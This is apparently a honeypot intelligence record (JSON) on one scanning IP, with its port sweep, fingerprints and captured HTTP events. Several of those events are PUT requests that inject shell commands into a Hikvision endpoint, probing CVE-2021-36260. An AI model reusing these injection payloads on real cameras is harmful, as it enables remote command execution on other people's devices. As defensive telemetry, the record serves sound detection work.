{"ip":"37.77.150.71","data_as_of":"2026-10-26T14:49:52+00:00","observed":true,"total_events":83,"verdict":{"verdict":"scanning","label":"Unrecognized scanner","detail":"10+ ports swept","confidence":"medium","network_type":null,"why":["No exploit payloads observed.","Swept 10 distinct ports (threshold for a sweep is 10).","Not in any known-scanner range.","Held a session open for 75s, against a median of well under a second.","Counts include 2 interactive session(s) as well as first-packet events."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"9,690 bytes sent, longest session 75s","bytes_sent":9690,"session_seconds":75,"persistent":true},"basis":"combined"},"first_seen":"2026-03-19T00:01:44","last_seen":"2026-10-23T18:42:29","events_24h":0,"events_7d":20,"interactive_sessions":2,"interactive_sessions_24h":0,"interactive_sessions_7d":2,"interactive_protocols":[{"protocol":"http","sessions":2}],"geo":{"country_code":"RU","country_name":"Russia","region":"","city":"","lat":55.7386,"lon":37.6068,"asn":198953,"org":"Proton66 OOO"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2021-36260","title":"Hikvision IP camera/NVR - Remote Command Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/SDK/webLanguage","kev_date_added":"2022-01-10"}],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":2,"first_seen":"2026-10-23T18:32:03","last_seen":"2026-10-23T18:32:31","verdicts":[{"verdict":"unknown","sessions":2}],"personas":[{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, dlink-dir645@1.03, fortigate@7.2.1, gitlab@19.4.2","sessions":2}],"services":[{"protocol":"http","port":80,"sessions":2}],"logins":[],"commands":[],"downloads":[],"files":[],"attack":[]},"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":12,"sessions":2},{"port":4434,"proto":"tcp","label":"","count":12,"sessions":0},{"port":4444,"proto":"tcp","label":"","count":12,"sessions":0},{"port":30443,"proto":"tcp","label":"","count":8,"sessions":0},{"port":443,"proto":"tcp","label":"HTTPS","count":8,"sessions":0},{"port":10443,"proto":"tcp","label":"","count":8,"sessions":0},{"port":20443,"proto":"tcp","label":"","count":8,"sessions":0},{"port":44443,"proto":"tcp","label":"","count":8,"sessions":0},{"port":40443,"proto":"tcp","label":"","count":5,"sessions":0},{"port":9443,"proto":"tcp","label":"","count":2,"sessions":0}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i100900_61a7ad8aa9b6_3a8073edd8ef","t13i180900_85036bcba153_1f22a2ca17c4"],"tls_client_hello":"16030105a30100059f03031c7c70add754b7aecbee1bfc9e20d207afd3d3340d47045602af2a2e587e3cff20041a731cd69533fc80d22bcdbcee4e581ca062deac7a8b6384d4ed886ceac2450014130213011303c02cc02bcca9c030c02fcca800ff01000542000500050100000000000b00020100000d001c001a0201020304010403050105030601060308040805080608070808003304ea04e811ec04c0da9aa4ef14028d950a1400b1a5fbc7514685130108a603d0dd8777620a03d9eb961920aa01d527cd7c6c26344771331427596afa813dffe7a820a95f0c8891f39b5563c07bd18a2798b3aab8fa8f89316b8c5cbc9a0c549b678c7529657a931f8a24a94a4c0234e95a01db849f71082d654db3662f924630b83739ff35c8086358fa448cce916c12679adbd202458aabf4d2bcd7729372f948184a1fd09a2628957e33f45b464ac139a4267a455fe288ca344432688157b6f551c24c8162448731426b9a349e661276766c5fd4e63fbc4cace8d20fe7acb062487a767b262e00531a962028688972a8cb4272a96396c8f78b58f421b1c4510b4cdab3d664b62b8416c8d0c5dce12e8427b90f918d764b6ac0332d59113fdeaa6e4c7843c81b24e4f20908c73744b5a24ea6af9bf3694a99c68401507135b33bb2a399050e5cc642edc1a52de51a395579ff97b0d1527453521e8c27371c3c58db39516fbb89cdb14308a4338b36b920cc0802e99571046b0ec1137f46c2a9b1121a9a9546a9978b56bcb350a775f39e1200af04c2c6d9a25e4a0cb71a823e68a20426c95626c23fd1b62e2e8ac0404b0a7ccc7da5352b1466be59c42219447929bab40018be1de50d291ac2bda43c490801653c64fe713b49e2ba84184c0f416900e26fcc567e7b8227a6179caf5328e56945a5416ef3493726daae84b715e76c4643440818642a84327a7843b377353837bacf76ac9f4c9034fa8a0af6e00511107cb3c085d8cb5b2df197d29596d94cc75a5518db562b43659a14352da3007cbb098fe782595e481de16529dca219eec8b5fbd98b786813e48305302a6e525c318126a07e5c821dd34e2cd0c44b7b7d39874c4320054f0a8e852c15d8f94561c03c76e037edc482b1fac7dba99f1ec42ca8916387a745b313492f60bd8487a597c823e7b785cab0cd4578c6bfe5a3f1210cfc810fc7a85a76b21f4b24bae9992b3a272beeb6583533ca75215a90d64f79659b61096ac008844d536baed91cdca62973839468280de191683313c013797ea550a3c3495fb0a42540a2c1ee69b410d08f36f36be8d48b9f929a5faa3f386b877531bdd1e247ff631d94960c9f7494e0175fdda15c7cf0ad515c4d4fb9a927b30326869489dc94fc41cd21356ed4903e986b1dfc8b315db053ee80b3b290c0d1fc8aac0b37783849e6163c909a57bc006eaa141be29371e777428f5bcf41357307e2142765889b8b8b2e160210f2895e22cbf8d5c5873b27075b0791994af9f74d7e00b01a6a726ba515648b508dcc31b102ae1f35bf814b6b8c84b4eec6121cf26aa2c1181f31c522e2b9a7b369164c2ef390027a3b372d873d1b5b058e020a7a0ba2d967cec4c67196fc8a85ea850a57add6594ccd3b193d227a29d0605e26c307fa43d69b23df4980cc35b6f3f27ba650039d84536051bba48b370f9463cc256cd1081b69caca3b300424409a10ba1e23802553f965847c2eb82cadcb5235adeb4bbd971214906767ac272eeb1664eb9aa229c7a4647d97a77b903a211134b1e08928af7866bd670dd2753e76b0c4831220a21c0bbaa208af38bceec52bea166afd145136e81389c30876558f026c9b4a904f49cd19cff212a61a49b8b1f6bab8e4119bd2c1f8cc477542b445b7df3bbccaa1486805e6f7eb8536eb774c9abe1dc91348d61fc6a88586026386b578eb1b8e7a001d0020486805e6f7eb8536eb774c9abe1dc91348d61fc6a88586026386b578eb1b8e7a002d0002010100230000000a000a000811ec001d00170018002b00050403040303001700","tls_ja3":["1c8a34e5af09da7fb00e2da03fb8579d","0337884a924ae57cb0f5d4f232660e14"],"http_akin":["b11cun040_00040016_4110f156","b11cuq051_00050801_9b8c433a_xff63","b11cun020_00040001_4e1a3733"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i180900_85036bcba153_1f22a2ca17c4":102,"t13i100900_61a7ad8aa9b6_3a8073edd8ef":1,"b11cun020_00040001_4e1a3733":9,"b11cuq051_00050801_9b8c433a_xff63":1,"b11cun040_00040016_4110f156":265},"akin_families":{"b11cun040_00040016_4110f156":{"head":"b11cun040_00040016_4110f156","shapes":3,"ips":265}},"user_agents":["Mozilla/5.0"],"timeline":[{"date":"2026-10-23","count":20,"sessions":2}],"recent_events":[{"timestamp":"2026-10-23T18:42:29","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/c","summary":"","payload_hex":"474554202f6320485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"56131a96-cca3-4193-8b6f-490eab1d8ca8","seq":4,"duration_ms":21940,"bytes_in":686,"bytes_out":308},{"timestamp":"2026-10-23T18:42:22","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"keep-alive\",\"content-length\":\"71\",\"content-type\":\"application/x-www-form-urlencoded; charset=UTF-8\",\"host\":\"<HONEYPOT>:80\",\"x-requested-with\":\"XMLHttpRequest\"}","body":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><language>$(>webLib/c)</language>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/SDK/webLanguage","summary":"","payload_hex":"505554202f53444b2f7765624c616e677561676520485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a582d5265717565737465642d576974683a20584d4c48747470526571756573740d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465643b20636861727365743d5554462d380d0a436f6e74656e742d4c656e6774683a2037310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c6c616e67756167653e24283e7765624c69622f63293c2f6c616e67756167653e","method":"PUT","user_agent":"","ja3":"","session":"56131a96-cca3-4193-8b6f-490eab1d8ca8","seq":3,"duration_ms":14856,"bytes_in":619,"bytes_out":231},{"timestamp":"2026-10-23T18:42:15","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/c","summary":"","payload_hex":"474554202f6320485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"56131a96-cca3-4193-8b6f-490eab1d8ca8","seq":2,"duration_ms":7673,"bytes_in":349,"bytes_out":154},{"timestamp":"2026-10-23T18:42:07","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"keep-alive\",\"content-length\":\"83\",\"content-type\":\"application/x-www-form-urlencoded; charset=UTF-8\",\"host\":\"<HONEYPOT>:80\",\"x-requested-with\":\"XMLHttpRequest\"}","body":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><language>$(echo -n 0746>webLib/c)</language>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/SDK/webLanguage","summary":"","payload_hex":"505554202f53444b2f7765624c616e677561676520485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a582d5265717565737465642d576974683a20584d4c48747470526571756573740d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465643b20636861727365743d5554462d380d0a436f6e74656e742d4c656e6774683a2038330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c6c616e67756167653e24286563686f202d6e20303734363e7765624c69622f63293c2f6c616e67756167653e","method":"PUT","user_agent":"","ja3":"","session":"56131a96-cca3-4193-8b6f-490eab1d8ca8","seq":1,"duration_ms":100,"bytes_in":282,"bytes_out":77},{"timestamp":"2026-10-23T18:28:30","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/c","summary":"","payload_hex":"474554202f6320485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"","ja3":"1c8a34e5af09da7fb00e2da03fb8579d","session":"f39c206c-1942-478a-98b4-82e0f0eed258","seq":4,"duration_ms":23202,"bytes_in":690,"bytes_out":308},{"timestamp":"2026-10-23T18:28:22","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"keep-alive\",\"content-length\":\"71\",\"content-type\":\"application/x-www-form-urlencoded; charset=UTF-8\",\"host\":\"<HONEYPOT>:443\",\"x-requested-with\":\"XMLHttpRequest\"}","body":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><language>$(>webLib/c)</language>","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/SDK/webLanguage","summary":"","payload_hex":"505554202f53444b2f7765624c616e677561676520485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a582d5265717565737465642d576974683a20584d4c48747470526571756573740d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465643b20636861727365743d5554462d380d0a436f6e74656e742d4c656e6774683a2037310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c6c616e67756167653e24283e7765624c69622f63293c2f6c616e67756167653e","method":"PUT","user_agent":"","ja3":"1c8a34e5af09da7fb00e2da03fb8579d","session":"f39c206c-1942-478a-98b4-82e0f0eed258","seq":3,"duration_ms":15503,"bytes_in":622,"bytes_out":231},{"timestamp":"2026-10-23T18:28:14","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/c","summary":"","payload_hex":"474554202f6320485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"","ja3":"1c8a34e5af09da7fb00e2da03fb8579d","session":"f39c206c-1942-478a-98b4-82e0f0eed258","seq":2,"duration_ms":7806,"bytes_in":351,"bytes_out":154},{"timestamp":"2026-10-23T18:28:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"keep-alive\",\"content-length\":\"83\",\"content-type\":\"application/x-www-form-urlencoded; charset=UTF-8\",\"host\":\"<HONEYPOT>:443\",\"x-requested-with\":\"XMLHttpRequest\"}","body":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><language>$(echo -n 0746>webLib/c)</language>","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/SDK/webLanguage","summary":"","payload_hex":"505554202f53444b2f7765624c616e677561676520485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a582d5265717565737465642d576974683a20584d4c48747470526571756573740d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465643b20636861727365743d5554462d380d0a436f6e74656e742d4c656e6774683a2038330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c6c616e67756167653e24286563686f202d6e20303734363e7765624c69622f63293c2f6c616e67756167653e","method":"PUT","user_agent":"","ja3":"1c8a34e5af09da7fb00e2da03fb8579d","session":"f39c206c-1942-478a-98b4-82e0f0eed258","seq":1,"duration_ms":104,"bytes_in":283,"bytes_out":77},{"timestamp":"2026-10-23T18:18:55","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/c","summary":"","payload_hex":"474554202f6320485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"e9ff84af-529b-454e-91c7-246cfd3a936a","seq":4,"duration_ms":21946,"bytes_in":682,"bytes_out":308},{"timestamp":"2026-10-23T18:18:48","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"keep-alive\",\"content-length\":\"71\",\"content-type\":\"application/x-www-form-urlencoded; charset=UTF-8\",\"host\":\"<HONEYPOT>:80\",\"x-requested-with\":\"XMLHttpRequest\"}","body":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><language>$(>webLib/c)</language>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/SDK/webLanguage","summary":"","payload_hex":"505554202f53444b2f7765624c616e677561676520485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a582d5265717565737465642d576974683a20584d4c48747470526571756573740d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465643b20636861727365743d5554462d380d0a436f6e74656e742d4c656e6774683a2037310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c6c616e67756167653e24283e7765624c69622f63293c2f6c616e67756167653e","method":"PUT","user_agent":"","ja3":"","session":"e9ff84af-529b-454e-91c7-246cfd3a936a","seq":3,"duration_ms":14855,"bytes_in":616,"bytes_out":231}],"http_methods":[{"method":"GET","count":61},{"method":"PUT","count":10}],"distinct_ports_total":10,"top_paths":[{"path":"/remote/login?lang=en","count":43,"ports":8},{"path":"/c","count":10,"ports":2},{"path":"/SDK/webLanguage","count":10,"ports":2},{"path":"/+CSCOE+/logon.html","count":4,"ports":2},{"path":"/global-protect/login.esp","count":4,"ports":2}],"distinct_paths_total":5,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Connection","Content-Length","Content-Type","Host","X-Requested-With"],"representative":[{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"71","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded; charset=UTF-8","notable":true},{"name":"Host","value":"<HONEYPOT>:80","notable":false},{"name":"X-Requested-With","value":"XMLHttpRequest","notable":true}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2021-36260","tag_type":"cve","title":"Hikvision IP camera/NVR - Remote Command Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/SDK/webLanguage","reference_urls":["https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html","https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/","https://nvd.nist.gov/vuln/detail/CVE-2021-36260","https://github.com/Aiminsun/CVE-2021-36260","https://therecord.media/experts-warn-of-widespread-exploitation-involving-hikvision-cameras/"],"kev_date_added":"2022-01-10"}]}